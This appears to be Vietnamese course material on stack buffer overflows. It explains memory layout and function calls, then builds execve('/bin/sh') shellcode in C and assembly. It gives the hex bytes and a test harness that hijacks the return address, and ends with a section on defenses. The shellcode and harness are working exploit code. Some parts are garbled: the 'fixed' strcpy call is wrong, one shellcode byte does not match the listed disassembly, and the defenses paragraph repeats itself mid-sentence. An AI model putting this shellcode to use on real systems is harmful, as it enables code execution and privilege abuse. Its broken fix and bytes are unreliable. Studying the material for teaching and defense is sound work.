1.Khái niệm tràn bộ đệm
Tràn bộ đêm là lỗi của phần mềm, xảy ra khi lượng dữ liệu ghi vào buffer lớn hơn kích thước của buffer. Lúc này phần dữ liệu dư ra sẽ được ghi vào phần bên cạnh của buffer gây ra rất lắm lỗi. Tràn bộ đệm được được các "hackers" sử dụng làm cách để khiến các đoạn mã của họ có thể chạy được bằng cách đưa chúng vào phần dữ liệu dư ra kia...
-Với kĩ thuật Buffer Overflow, cho phép một số lượng lớn dữ liệu được cung cấp bởi người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do đó gây cho hệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn thêm một đoạn mã bất kì. Nếu ứng dụng được cấu hình để được thực thi như root thì người tấn công có thể thao tác như một nhà quản trị hệ thống của web server. Hầu hết những vấn đề đều phát sinh từ khả năng lập trình yếu kém của những nhà lập trình. Đơn cử là sự cẩu thả trong kiểm tra kích thước dữ liệu nhập vào.
-Ví dụ 1:
char input[] = "aaaaaaaaaaa";
char buffer[10];
strcpy(buffer, input); // copy input vào buffer
-Khi chạy đoạn lệnh này sẽ sinh ra lỗi segmentation fault vì copy 11 byte vào buffer chỉ chứa được 10 byte. Còn đây là bản sửa lỗi:
char input[] = "aaaaaaaaaaa";
char buffer[10];
strcpy(buffer, input, sizeof(buffer)); Khoa CNTT
-Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong những kỹ thuật hacking kinh điển nhất.
2. Tổ chức bộ nhớ
Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo (logic) giống nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này như sau:
• Vùng Text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ
đọc (read-only). Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file
chương trình và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở vùng
này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này đều gây lỗi segmentation
violation.
• Vùng Data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến
toàn cục và biến tĩnh được chứa trong vùng này.
• Vùng Stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa
giá trị các biến cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác
trên bộ nhớ stack được thao tác theo cơ chế "vào sau ra trước" - LIFO (Last In,
First Out) với hai lệnh quan trọng nhất là PUSH và POP. Trong phạm vi bài viết
này, luận văn chỉ tập trung tìm hiểu về vùng stack.
2.2 Stack
2.2.1 . Định nghĩa Track
Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được dùng cho các thao tác đặc biệt dạng LIFO.
-Tổ chức của vùng stack gồm các stack frame được push vào khi gọi một hàm và pop ra khỏi stack khi trở về. Một stack frame chứa các thông số cần thiết cho một hàm: biến cục bộ, tham số hàm, giá trị trả về; và các dữ liệu cần thiết để khôi phục stack frame trước đó, kể cả giá trị của con trỏ lệnh (instruction pointer) vào thời điểm gọi hàm.
-Địa chỉ đáy của stack được gán một giá trị cố định. Địa chỉ đỉnh của stack được lưu bởi thanh ghi "con trỏ stack" (ESP – extended stack pointer). Tuỳ thuộc vào hiện thực, stack có thể phát triển theo hướng địa chỉ nhớ từ cao xuống thấp hoặc từ thấp lên cao. Trong các ví dụ về sau, chúng ta sử dụng stack có địa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện thực của kiến trúc Intel. Con trỏ stack (SP) cũng phụ thuộc vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên stack. Trong các minh hoạ về sau (với kiến trúc Intel x86), SP trỏ đến địa chỉ cuối cùng trên đỉnh stack.
-Về lý thuyết, các biến cục bộ trong một stack frame có thể được truy xuất dựa vào độ dời (offset) so với SP. Tuy nhiên khi có các thao tác thêm vào hay lấy ra trên stack, các độ dời này cần phải được tính toán lại, làm giảm hiệu quả. Để tăng hiệu quả, các trình biên dịch sử dụng một thanh ghi thứ hai gọi là "con trỏ nền" (EBP – extended base pointer) hay còn gọi là "con trỏ frame" (FP – frame pointer). FP trỏ đến một giá trị cố định trong một stack frame, thường là giá trị đầu tiên của stack frame, các biến cục bộ và tham số được truy xuất qua độ dời so với FP và do đó không bị thay đổi bởi các thao tác thêm/bớt tiếp theo trên stack.
-Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit (4 byte) trên các CPU Intel x86. (Trên các CPU Alpha hay Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên stack đều có kích thước theo bội số của word.
2.2.2 Các thao tác trên Stack
Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp).
• PUSH một giá trị vào stack: đưa giá trị ‘value’ vào đỉnh của stack. Giảm giá trị của %esp đi 1 word và đặt giá trị ‘value’ vào word đó
Hình 2: Push một giá trị vào stack
(1) ESP=ESP-kích thước của giá trị
(2) Value được đẩy vào stack
• POP một value ra khỏi stack: lấy giá trị từ đỉnh stack đưa vào ‘dest’. Đặt giá trị trỏ bởi %esp vào ‘dest’ và tăng giá trị của %esp lên 1 word
Hình.3:Pop một giá trị ra khỏi stack
Khoa CNTT
(1) Value được lấy ra khỏi stack
(2) ESP=ESP++ kích thước của giá trị
3. Cách làm việc của hàm
Một chương trình được chia thành nhiều đoạn mã gọi là thủ tục (procedure). Mỗi thủ tục chịu trách nhiệm về một hành động nào đó của chương trình. Mỗi thủ tục sau khi hoàn thành nhiệm vụ sẽ gọi thủ tục kế tiếp. Sau lời gọi một thủ tục, địa chỉ kế tiếp sau địa chỉ gọi thủ tục sẽ được lưu vào trong STACK.
Để giải thích hoạt động của chương trình khi gọi hàm, chúng ta sẽ sử dụng đoạn chương trình ví dụ sau:
/* fct.c */
void toto(int i, int j)
{
char str[5] = "abcde";
int k = 3;
j = 0;
return;
}
int main(int argc, char **argv)
{
int i = 1;
toto(1, 2);
i = 0;
printf("i=%d\n",i);
}
Quá trình gọi hàm có thể được chia làm 3 bước:
3.1 Khởi đầu (prolog)
Trước khi chuyển thực thi cho một hàm cần chuẩn bị một số công việc như lưu lại trạng thái hiện tại của stack, cấp phát vùng nhớ cần thiết để thực thi.
Một hàm luôn được khởi đầu với các lệnh máy sau:
push %ebp
mov %esp,%ebp
sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào từng hàm cụ thể)
3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. Hình sau giải thích bước khởi đầu của hàm toto() và giá trị của các thanh ghi %esp, %ebp.
-Giả sử ban đầu %ebp trỏ đến địa chỉ X bất kỳ trên bộ nhớ, %esp trỏ đến một địa chỉ Y thấp hơn bên dưới. Trước khi chuyển vào một hàm, cần phải lưu lại môi trường của stack frame hiện tại, do mọi giá trị trong một stack frame đều có thể được tham khảo qua %ebp, ta chỉ cần lưu %ebp là đủ. Vì %ebp được push vào stack, nên %esp sẽ giảm đi 1 word. Giá trị %ebp được push vào stack này được gọi là "con trỏ nền bảo lưu" (SFP - saved frame pointer).
Lệnh máy thứ hai sẽ thiết lập một môi trường mới bằng cách đặt %ebp trỏ đến đỉnh của stack (giá trị đầu tiên của một stack frame), lúc này %ebp và %esp sẽ trỏ cùng đến một vị trí có địa chỉ là (Y-1word).
Lệnh máy thứ ba cấp phát vùng nhớ dành cho biến cục bộ. Mảng ký tự có độ dài 5 byte, tuy nhiên stack sử dụng đơn vị lưu trữ là word, do đó vùng nhớ được cấp cho mảng ký tự sẽ là một bội số của word sao cho lớn hơn hoặc bằng kích thước của mảng. Dễ thấy giá trị đó là 8 byte (2 word). Biến k kiểu nguyên có kích thước 4 byte, vì vậy kích thước vùng nhớ dành cho biến cục bộ sẽ là 8+4=12 byte (3 word), được cấp phát bằng cách giảm %esp đi một giá trị 0xc (bằng 12 trong hệ cơ số 16).
Một điều cần lưu ý ở đây là biến cục bộ luôn có độ dời âm so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ dùng định vị gián tiếp để xác định vị trí của i:
movl $0x0,0xfffffffc(%ebp)
0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “-4” byte so với thanh ghi %ebp. i là biến đầu tiên trong hàm main() và có địa chỉ cách 4 byte ngay dưới %ebp.
sên dưới. Trước
3.2 Gọi hàm (call)
Khi hàm được gọi, các tham số được đặt vào stack và con trỏ lệnh (IP – instruction pointer) được lưu lại để cho phép chuyển quá trình thực thi đến đúng điểm sau gọi hàm.
Cũng giống như bước khởi đầu, bước này cũng chuẩn bị môi trường cho phép nơi gọi hàm truyền các tham số cho hàm được gọi và trở về lại nơi gọi hàm khi kết thúc.
Trước khi gọi hàm các tham số sẽ được đặt vào stack, theo thứ tự ngược lại, tham số cuối cùng sẽ được đặt vào trước. Trong ví dụ trên, trước tiên các giá trị 1 và 2 sẽ được đặt vào stack. Thanh ghi %eip giữ giá trị địa chỉ của lệnh kế tiếp, trong trường hợp này là chỉ thị gọi hàm.
Khi thực hiện lệnh call, %eip sẽ lấy giá trị địa chỉ của kế tiếp ngay sau gọi hàm (trên hình vẽ, giá trị này là Z+5 do lệnh gọi hàm chiếm 5 byte theo hiện thực của CPU Intel x86). Lệnh call sau đó sẽ lưu lại giá trị của %eip để có thể tiếp tục thực thi sau khi trở về. Quá trình này được thực hiện bằng một lệnh ngầm (không tường minh) đặt %eip lên stack:
push %eip
Giá trị lưu trên stack này được gọi là "con trỏ lệnh bảo lưu" (SIP – save instruction pointer), hay "địa chỉ trả về" (RET – return address).
Giá trị được truyền như một tham số cho lệnh call chính là địa chỉ của lệnh khởi đầu (prolog) đầu tiên của hàm toto(). Giá trị này sẽ được chép vào %eip và trở thành lệnh được thực thi tiếp theo.
Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán j=0 minh hoạ điều này. Mã hợp ngữ sử dụng định vị gián tiếp để truy xuất biến j:
movl $0x0,0xc(%ebp)
0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “+12” byte so với %ebp. j là tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte ngay trên %ebp (4 cho RET, 4 cho tham số đầu tiên và 4 cho tham số thứ 2).
3.3 Kết Thúc (epilog): khôi phục lại trạng thái như trước khi gọi hàm.
Thoát khỏi một hàm được thực hiện trong 2 bước. Trước tiên, môi trường tạo ra cho hàm thực thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, chúng ta phải kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra.
Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh:
leave
ret
Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng stack dùng chứa các tham số của hàm được gọi.
4. Shell code
4.1 Viết một shell code băng ngôn ngữ C
/* shellcode.c */
#include
#include
int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
_exit (0);
}
) Trong số các hàm dạng exec() được dùng để gọi thực thi một chương trình khác, execve() là hàm nên dùng. Lý do: execve() là hàm hệ thống (system-call) khác với các hàm exec() khác được hiện thực trong libc (và do đó cũng được hiện thực dựa trên execve()). Hàm hệ thống được thực hiện thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi định trước, do đó mã hợp ngữ tạo ra sẽ ngắn gọn.
Hơn nữa, nếu gọi execve() thành công, chương trình gọi sẽ được thay thế bởi chương trình được gọi và xem như mới bắt đầu quá trình thực thi. Nếu gọi execve() không thành công, chương trình gọi sẽ tiếp tục quá trình thực thi. Khi khai thác lỗ hổng, đoạn mã shellcode sẽ được chèn vào giữa quá trình thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh theo ý muốn, việc tiếp tục quá trình thực thi của chương trình là không cần thiết và đôi khi gây ra những kết quả ngoài ý muốn do nội dung của stack đã bị làm thay đổi. Vì vậy, quá trình thực thi cần được kết thúc ngay khi có thể. Ở đây chúng ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư viện libc được hiện thực dựa trên hàm hệ thống _exit().
Hãy ghi nhớ các tham số để truyền cho hàm execve() trên:
• chuỗi /bin/sh
• địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL)
• địa chỉ của mảng biến môi trường (ở đây là con trỏ NULL)
•
4.2 Giải mã hợp ngữ các hàm
Biên dịch shellcode.c với option debug và static để tích hợp các hàm được liên kết qua thư viện động vào trong chương trình.
[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static
Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb.
[SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static
[SkZ0@gamma bof]$ gdb shellcode -q
(gdb) disassemble main
Dump of assembler code for function main:
0x804818c : push %ebp
0x804818d : mov %esp,%ebp
0x804818f : sub $0x8,%esp
0x8048192 : movl $0x0,0xfffffff8(%ebp)
0x8048199 : movl $0x0,0xfffffffc(%ebp)
0x80481a0 : mov $0x806f388,%edx
0x80481a5 : mov %edx,0xfffffff8(%ebp)
0x80481a8 : push $0x0
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
0x80481ae : push %edx
0x80481af : call 0x804c6ec <__execve>
0x80481b4 : push $0x0
0x80481b6 : call 0x804c6d0 <_exit>
End of assembler dump.
(gdb)
Để ý lệnh sau:
0x80481a0 : mov $0x806f388,%edx
Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx.
0x80481a0 : mov $0x806f388,%edx
(gdb) printf "%s\n", 0x806f388
/bin/sh
(gdb)
Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi %edx. Trước khi gọi các hàm thấp hơn của thư viện C hiện thực hàm hệ thống execve() các tham số được đặt vào stack theo thứ tự:
• con trỏ NULL
0x80481a8 : push $0x0
• địa chỉ của mảng tham số
0x80481aa : lea 0xfffffff8(%ebp),%eax
0x80481ad : push %eax
• địa chỉ của chuỗi /bin/sh
0x80481ae : push %edx
Hãy xem các hàm execve() và _exit()
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804c6ec <__execve>: push %ebp
0x804c6ed <__execve+1>: mov %esp,%ebp
0x804c6ef <__execve+3>: push %edi
0x804c6f0 <__execve+4>: push %ebx
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
0x804c6f4 <__execve+8>: mov $0x0,%eax
0x804c6f9 <__execve+13>: test %eax,%eax
0x804c6fb <__execve+15>: je 0x804c702 <__execve+22>
0x804c6fd <__execve+17>: call 0x0
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
0x804c708 <__execve+28>: push %ebx
0x804c709 <__execve+29>: mov %edi,%ebx
0x804c70b <__execve+31>: mov $0xb,%eax
0x804c710 <__execve+36>: int $0x80
0x804c712 <__execve+38>: pop %ebx
0x804c713 <__execve+39>: mov %eax,%ebx
0x804c715 <__execve+41>: cmp $0xfffff000,%ebx
0x804c71b <__execve+47>: jbe 0x804c72b <__execve+63>
0x804c71d <__execve+49>: call 0x80482b8 <__errno_location>
0x804c722 <__execve+54>: neg %ebx
0x804c724 <__execve+56>: mov %ebx,(%eax)
0x804c726 <__execve+58>: mov $0xffffffff,%ebx
0x804c72b <__execve+63>: mov %ebx,%eax
0x804c72d <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804c730 <__execve+68>: pop %ebx
0x804c731 <__execve+69>: pop %edi
0x804c732 <__execve+70>: leave
0x804c733 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804c6d0 <_exit>: mov %ebx,%edx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804c6d6 <_exit+6>: mov $0x1,%eax
0x804c6db <_exit+11>: int $0x80
0x804c6dd <_exit+13>: mov %edx,%ebx
0x804c6df <_exit+15>: cmp $0xfffff001,%eax
0x804c6e4 <_exit+20>: jae 0x804ca80 <__syscall_error>
End of assembler dump.
(gdb) quit
Hệ điều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 0x80, ở các địa chỉ 0x804c710 cho execve() và 0x804c6db cho _exit(). Các địa chỉ này thường không giống nhau đối với mỗi hàm hệ thống, đặc điểm để phân biệt chính là nội dung thanh ghi %eax. Xem ở trên, giá trị này là 0xb với execve() trong khi _exit() là 0x1.
H ình 4: Hàm execve và tham số
Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận sau:
• trước khi gọi thực thi hàm __execve() bằng gọi ngắt 0x80:
o thanh ghi %edx giữ giá trị địa chỉ của mảng biến môi trường:
0x804c705 <__execve+25>: mov 0x10(%ebp),%edx
Để đơn giản, chúng ta sẽ sử dụng biến môi trường rỗng bằng cách gán giá trị này bằng một con trỏ NULL.
o thanh ghi %ecx giữ giá trị địa chỉ của mảng tham số
0x804c702 <__execve+22>: mov 0xc(%ebp),%ecx
Tham số đầu tiên phải là tên của chương trình, ở đây dơn giản chỉ là một mảng dùng để chứa địa chỉ của chuỗi "/bin/sh" và kết thúc bằng một con trỏ NULL.
o thanh ghi %ebx giữ địa chỉ của chuỗi tên chương trình cần thực thi, trong trường hợp này là "/bin/sh"
0x804c6f1 <__execve+5>: mov 0x8(%ebp),%edi
...
0x804c709 <__execve+29>: mov %edi,%ebx
• hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả về cho quá trình cha (thường là shell) được lưu trong thanh ghi %ebx
0x804c6d2 <_exit+2>: mov 0x4(%esp,1),%ebx
Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa chuỗi "/bin/sh", một con trỏ đến chuỗi này và một con trỏ NULL (để kết thúc mảng tham số, đồng thời là con trỏ biến môi trường). Những dữ liệu trên phải được chuẩn bị trước khi thực thiện gọi execve().
4.3 Định vị shellcode trên bộ nhớ
Thông thường shellcode sẽ được chèn vào chương trình bị lỗi thông qua tham số dòng lệnh, biến môi trường hay chuỗi nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo shellcode chúng ta cũng không thể biết được địa chỉ của nó. Không những thế chúng ta còn buộc phải biết trước địa chỉ chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có thể giải quyết được trở ngại đó. Có hai cách để định vị shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp để đảm bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ trình bày cách định vị shellcode dùng stack.
Để chuẩn bị mảng tham số và con trỏ biến môi trường cho hàm execve(), chúng ta sẽ đặt trực tiếp chuỗi "/bin/sh", con trỏ NULL lên stack và xác định địa chỉ thông qua giá trị thanh ghi %esp. Mã hợp ngữ sẽ có dạng sau:
beginning_of_shellcode:
pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh
pushl "/bin/sh" // chuỗi /bin/sh
movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh
push NULL // con trỏ NULL của mảng tham số
...
(mã hợp ngữ của shellcode)
4.4 Vấn đề byte giá trị null
Các hàm bị lỗi thường là các hàm xử lý chuỗi như strcpy(), scanf(). Để chèn được mã lệnh vào giữa chương trình, shellcode phải được chép vào dưới dạng một chuỗi. Tuy nhiên, các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0). Do đó, shellcode của chúng ta phải không được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật để loại bỏ giá trị null, ví dụ lệnh:
push $0x00
Sẽ được thay thế tương đương bằng:
xorl %eax, %eax
push %eax
Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát sinh khi chuyển các mã lệnh sang dạng hexa. Ví dụ, lệnh chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit():
0x804c6d6 <_exit+6>: mov $0x1,%eax
Chuyển sang dạng hexa sẽ thành chuỗi:
b8 01 00 00 00 mov $0x1,%eax
Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một thanh ghi có giá trị 0, sau đó tăng nó lên 1 (hoặc cũng có thể dùng lệnh movb thao tác trên 1 byte thấp của %eax)
31 c0 xor %eax,%eax
40 inc %eax
4.5 Tạo shellcode
Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. Chương trình tạo shellcode:
/* shellcode_asm.c */
int main()
{
asm("
/* push giá trị null kết thúc /bin/sh vào stack */
xorl %eax,%eax
pushl %eax
/* push chuỗi /bin/sh vào stack */
pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */
pushl $0x6e69622f /* chuỗi /bin */
/* %ebx chứa địa chỉ chuỗi /bin/sh */
movl %esp, %ebx
/* push con trỏ NULL, phần tử thứ hai của mảng tham số */
pushl %eax
/* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham số */
pushl %ebx
/* %ecx chứa địa chỉ mảng tham số */
movl %esp,%ecx
/* %edx chứa địa chỉ mảng biến môi trường, con trỏ NULL */
/* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */
movl %eax, %edx
/* Hàm execve(): %eax = 0xb */
movb $0xb,%al
/* Gọi hàm */
int $0x80
/* Giá trị trả về 0 cho hàm _exit() */
xorl %ebx,%ebx
/* Hàm _exit(): %eax = 0x1 */
movl %ebx,%eax
inc %eax
/* Gọi hàm */
int $0x80
");
}
Dịch shellcode trên và dump ở dạng hợp ngữ:
[SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c
[SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17
08048380 :
8048380: 55 pushl %ebp
8048381: 89 e5 movl %esp,%ebp
8048383: 31 c0 xorl %eax,%eax
8048385: 50 pushl %eax
8048386: 68 2f 2f 73 68 pushl $0x68732f2f
804838b: 68 2f 62 69 6e pushl $0x6e69622f
8048390: 89 e3 movl %esp,%ebx
8048392: 50 pushl %eax
8048393: 53 pushl %ebx
8048394: 89 e1 movl %esp,%ecx
8048396: 89 c2 movl %eax,%edx
8048398: b0 0b movb $0xb,%al
804839a: cd 80 int $0x80
804839c: 31 db xorl %ebx,%ebx
804839e: 31 c0 xorl %eax,%eax
80483a0: 40 incl %eax
80483a1: cd 80 int $0x80
Hãy chạy thử shellcode trên:
/* testsc.c */
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";
int main()
{
int * ret;
/* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */
/* khoảng cách so với biến ret là 8 byte (2 word): */
/* - 4 byte cho biến ret */
/* - 4 byte cho giá trị bảo lưu %ebp */
* ((int *) & ret + 2) = (int) shellcode;
return (0);
}
[SkZ0@gamma bof]$ gcc testsc.c -o testsc
[SkZ0@gamma bof]$ ./testsc
bash$ exit
[SkZ0@gamma bof]$
Ta có thể thêm vào các hàm để mở rộng tính năng của shellcode, thực hiện các thao tác cần thiết khác trước khi gọi "/bin/sh" như setuid(), setgid(), chroot(),... bằng cách chèn mã hợp ngữ của các hàm này vào trước đoạn shellcode trên.
Chống tấn công tràn bộ đệm
Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đNhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên, loại bảo vệ này không thể áp dụng ệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự độNhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên, loại bảo vệ này không thể áp dụng cho mã thừa kế (legacy code), và nhiều khi các ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng một ngôn ngữ không an toàn. Các mục sau đây mô tả các lựa chọn và cài đặt hiện có.
1.Lựa chọn ngôn ngữ lập trình
Lựa chọn về ngôn ngữ lập trình có thể có một ảnh hưởng lớn đối với sự xuất hiện của lỗi tràn bộ đệm. Năm 2006, C và C++ nằm trong số các ngôn ngữ lập trình thông dụng nhất, với một lượng khổng lồ các phần mềm đã được viết bằng hai ngôn ngữ này. C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập hoặc ghi đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp lệ; cụ thể, hai ngôn ngữ này không kiểm tra xem dữ liệu được ghi vào một mảng (cài đặt của một bộ nhớ đệm) có nằm trong biên của mảng đó hay không. Tuy nhiên, cần lưu ý rằng các thư viện chuẩn của C++, thư viện khuôn mẫu chuẩn - STL, cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Cũng như đối với các tính năng bất kỳ khác của C hay C++, mỗi lập trình viên phải tự xác định lựa chọn xem họ có muốn chấp nhận các hạn chế về tốc độ chương trình để thu lại các lợi ích tiềm năng (độ an toàn của chương trình) hay không.
Một số biến thể của C, chẳng hạn Cyclone, giúp ngăn chặn hơn nữa các lỗi tràn bộ đệm bằng việc chẳng hạn như gắn thông tin về kích thước mảng với các mảng. Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng con trỏ và kiểm tra biên do người dùng xác định.
Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc kiểm tra này gửi một cảnh báo hoặc ngoại lệ khi C hoặc C++ ghi đè dữ liệu. Ví dụ về các ngôn ngữ này rất đa dạng, từ Python tới Ada, từ Lisp tới Modula-2, và từ Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi kiểm tra biên đối với tất cả các mảng. Gần như tất cả các ngôn ngữ thông dịch sẽ bảo vệ chương trình trước các hiện tượng tràn bộ đệm bằng cách thông báo một trạng thái lỗi định rõ (well-defined error). Thông thường, khi một ngôn ngữ cung cấp đủ thông tin về kiểu để thực hiện kiểm tra biên, ngôn ngữ đó thường cho phép lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích tĩnh (static analysis) có thể loại được nhiều kiểm tra kiểu và biên động, nhưng các cài đặt tồi và các trường hợp rối rắm có thể giảm đáng kể hiệu năng. Các kỹ sư phần mềm phải cẩn thận cân nhắc giữa các phí tổn cho an toàn và hiệu năng khi quyết định sẽ sử dụng ngôn ngữ nào và cấu hình như thế nào cho trình biên dịch.
2. Sử dụng các thư viện an toàn
Vấn đề tràn bộ đệm thường gặp trong C và C++ vì các ngôn ngữ này để lộ các chi tiết biểu diễn mức thấp của các bộ nhớ đệm với vai trò các chỗ chứa cho các kiểu dữ liệu. Do đó, phải tránh tràn bộ đệm bằng cách gìn giữ tính đúng đắn cao cho các phần mã chương trình thực hiện việc quản lý bộ đệm. Việc sử dụng các thư viện được viết tốt và đã được kiểm thử, dành cho các kiểu dữ liệu trừu tượng mà các thư viện này thực hiện tự động việc quản lý bộ nhớ, trong đó có kiểm tra biên, có thể làm giảm sự xuất hiện và ảnh hưởng của các hiện tượng tràn bộ đệm. Trong các ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó các hiện tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ đệm tại các kiểu dữ liệu này có thể cung cấp phần chính của sự che chắn cần thiết. Dù vậy, việc sử dụng các thư viện an toàn một cách không đúng có thể dẫn đến tràn bộ đệm và một số lỗ hổng khác; và tất nhiên, một lỗi bất kỳ trong chính thư viện chính nó cũng là một lỗ hổng. Các cài đặt thư viện "an toàn" gồm The Better String Library, Arri Buffer API và Vstr. Thư viện C của hệ điều hành OpenBSD cung cấp các hàm hữu ích strlcpy strlcat, nhưng các hàm này nhiều hạn chế hơn nhiều so với các cài đặt thư viện an toàn đầy đủ.
Tháng 9 năm 2006, Báo cáo kỹ thuật số 24731 của hội đồng tiêu chuẩn C đã được công bố; báo cáo này mô tả một tập các hàm mới dựa trên các hàm vào ra dữ liệu và các hàm xử lý xâu ký tự của thư viện C chuẩn, các hàm mới này được bổ sung các tham số về kích thước bộ đệm.
3. Chống tràn bộ nhớ đệm trên stack
Stack-smashing protection là kỹ thuật được dùng để phát hiện các hiện tượng tràn bộ đệm phổ biến nhất. Kỹ thuật này kiểm tra xem stack đã bị sửa đổi hay chưa khi một hàm trả về. Nếu stack đã bị sửa đổ, chương trình kết thúc bằng một lỗi segmentation fault. Các hệ thống sử dụng kỹ thuật này gồm có Libsafe[4], StackGuard và các bản vá lỗi (patch) ProPolice gcc.
Chế độ Data Execution Prevention (cấm thực thi dữ liệu) của Microsoft bảo vệ thẳng các con trỏ tới SEH Exception Handler, không cho chúng bị ghi đè.
